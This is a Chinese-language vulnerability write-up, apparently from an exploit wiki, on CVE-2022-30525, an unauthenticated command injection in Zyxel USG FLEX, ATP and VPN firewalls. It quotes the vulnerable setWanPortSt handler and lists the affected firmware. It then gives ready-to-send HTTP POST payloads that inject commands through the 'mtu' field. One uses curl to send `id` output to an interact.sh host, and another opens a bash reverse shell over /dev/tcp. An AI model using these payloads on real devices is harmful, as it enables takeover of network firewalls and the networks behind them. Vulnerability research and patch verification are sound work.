Zyxel USG FLEX handler 远程命令执行漏洞 CVE-2022-30525

漏洞描述

Rapid7 发现并报告了一个漏洞，该漏洞影响支持零接触配置 (ZTP) 的 Zyxel 防火墙，其中包括 ATP 系列、VPN 系列和 USG FLEX 系列（包括 USG20-VPN 和 USG20W-VPN）。该漏洞标识为 CVE-2022-30525，允许未经身份验证的远程攻击者以nobody受影响设备上的用户身份执行任意代码。

漏洞影响

USG FLEX 100、100W、200、500、700 < ZLD5.00 - ZLD5.21 补丁 1

USG20-VPN、USG20W-VPN < ZLD5.10 - ZLD5.21 补丁 1

ATP 100、200、500、700、800 < ZLD5.10 - ZLD5.21 补丁 1

漏洞复现

登录页面

出现漏洞的文件为 lib_wan_settings.py 下的 setWanPortSt 方法

def setWanPortSt(req): reply = {} vlan_tagged = '' logging.info(req) port = req["port"].strip() vlanid = req["vlanid"] proto = req["proto"] data = req["data"] vlan_tagged = req["vlan_tagged"] cmdLine = '' GUIportst = {} extname = findextname(port) #TODO: subprocess method try: if vlan_tagged == '1': if vlanid == '': vlanid == '0' if proto == "dhcp": if 'mtu' not in req: req['mtu'] = '1500' if vlan_tagged == '1': cmdLine = '/usr/sbin/sdwan_iface_ipc 11 ' else: cmdLine = '/usr/sbin/sdwan_iface_ipc 1 ' #extname = findextname(port) cmdLine += extname + ' ' + port.lower() + ' ' + req['mtu'] if vlan_tagged == '1': cmdLine += ' ' + vlanid if "option60" in data: cmdLine += ' ' + data['option60'] cmdLine += ' >/dev/null 2>&1' elif proto == "static": if 'mtu' not in req: req['mtu'] = '1500' prefix_length = netmask_to_cidr(data['netmask']) if vlan_tagged == '1': cmdLine = '/usr/sbin/sdwan_iface_ipc 12 ' else: cmdLine = '/usr/sbin/sdwan_iface_ipc 2 ' #extname = findextname(port) cmdLine += extname + ' ' + port.lower() + ' ' + data['ipaddr'] + ' ' + str(prefix_length) + ' ' + data['gateway'] + ' ' + req['mtu'] if vlan_tagged == '1': cmdLine += ' ' + vlanid cmdLine += ' ' + data['firstDnsServer'] if 'secondDnsServer' in data: cmdLine += ' ' + data['secondDnsServer'] cmdLine += ' >/dev/null 2>&1' elif proto == "pppoe": if vlan_tagged == '1': cmdLine = '/usr/sbin/sdwan_iface_ipc 13 ' else: cmdLine = '/usr/sbin/sdwan_iface_ipc 3 ' #extname = findextname(port) if 'auth_type' not in data: data['auth_type'] = 'chap-pap' if 'mtu' not in req: req['mtu'] = '1492' if 'ipaddr' not in data: data['ipaddr'] = '0.0.0.0' if 'gateway' not in data: data['gateway'] = '0.0.0.0' if 'firstDnsServer' not in data: data['firstDnsServer'] = '0.0.0.0' cmdLine += extname + ' ' + port.lower() + ' ' + data['username'] + ' ' + data['password'] \ + ' ' + data['auth_type'] \ + ' ' + data['ipaddr'] + ' ' + data['gateway'] \ + ' ' + data['firstDnsServer'] + ' ' + req['mtu'] if vlan_tagged == '1': cmdLine += ' ' + vlanid cmdLine += ' >/dev/null 2>&1' logging.info("cmdLine = %s" % cmdLine) with open("/tmp/local_gui_write_flag", "w") as fout: fout.write("1"); response = os.system(cmdLine) logging.info(response) if response != 256: logging.info("cmd thread return error") reply = {"error": 500} else: logging.info("cmd success!!") reply["stdout"] = [{}] reply["stderr"] ="" with open(WAN_PORT_LAST_CHANGED, "w") as fout: fout.write(port) if not os.path.exists(ztpinclude.PATH_WAN_MODIFIED_TO_CLOUD): reply = {"error": 500, "exception": "Cannot find data2cloud folder!"} with open(ztpinclude.PATH_WAN_MODIFIED_TO_CLOUD + 'local_wan_modified', 'a+') as fout: fout.write(port + ' ') except Exception as e: reply = {"error": 500, "exception": e} return reply

从源码里可以看到拼接的参数为 mtu , 随后直接 os.system 命令执行

验证POC

POST /ztp/cgi-bin/handler HTTP/1.1 Host: Content-Type: application/json {"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":"1","vlanid":"5","mtu":";curl `id`.c9y7h342vtc00002dwxggr9tukwyyyyyj.interact.sh;","data":"hi"}

反弹Shell

POST /ztp/cgi-bin/handler HTTP/1.1 Host: Content-Type: application/json {"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":"1","vlanid":"5","mtu":";bash -c 'exec bash -i &>/dev/tcp/xxx.xxx.xxx.xxx/9999 <&1';","data":"hi"}

关注公众号

下面就是文库的公众号啦，更新的文章都会在第一时间推送在交流群和公众号想要加入交流群的师傅公众号点击交流群找WgpsecBot机器人拉你啦～

支持作者

关于文库

在线文库: http://wiki.peiqi.tech Github: https://github.com/PeiQi0/PeiQi-WIKI-Book

长亭百川云 - 文章详情

长亭百川云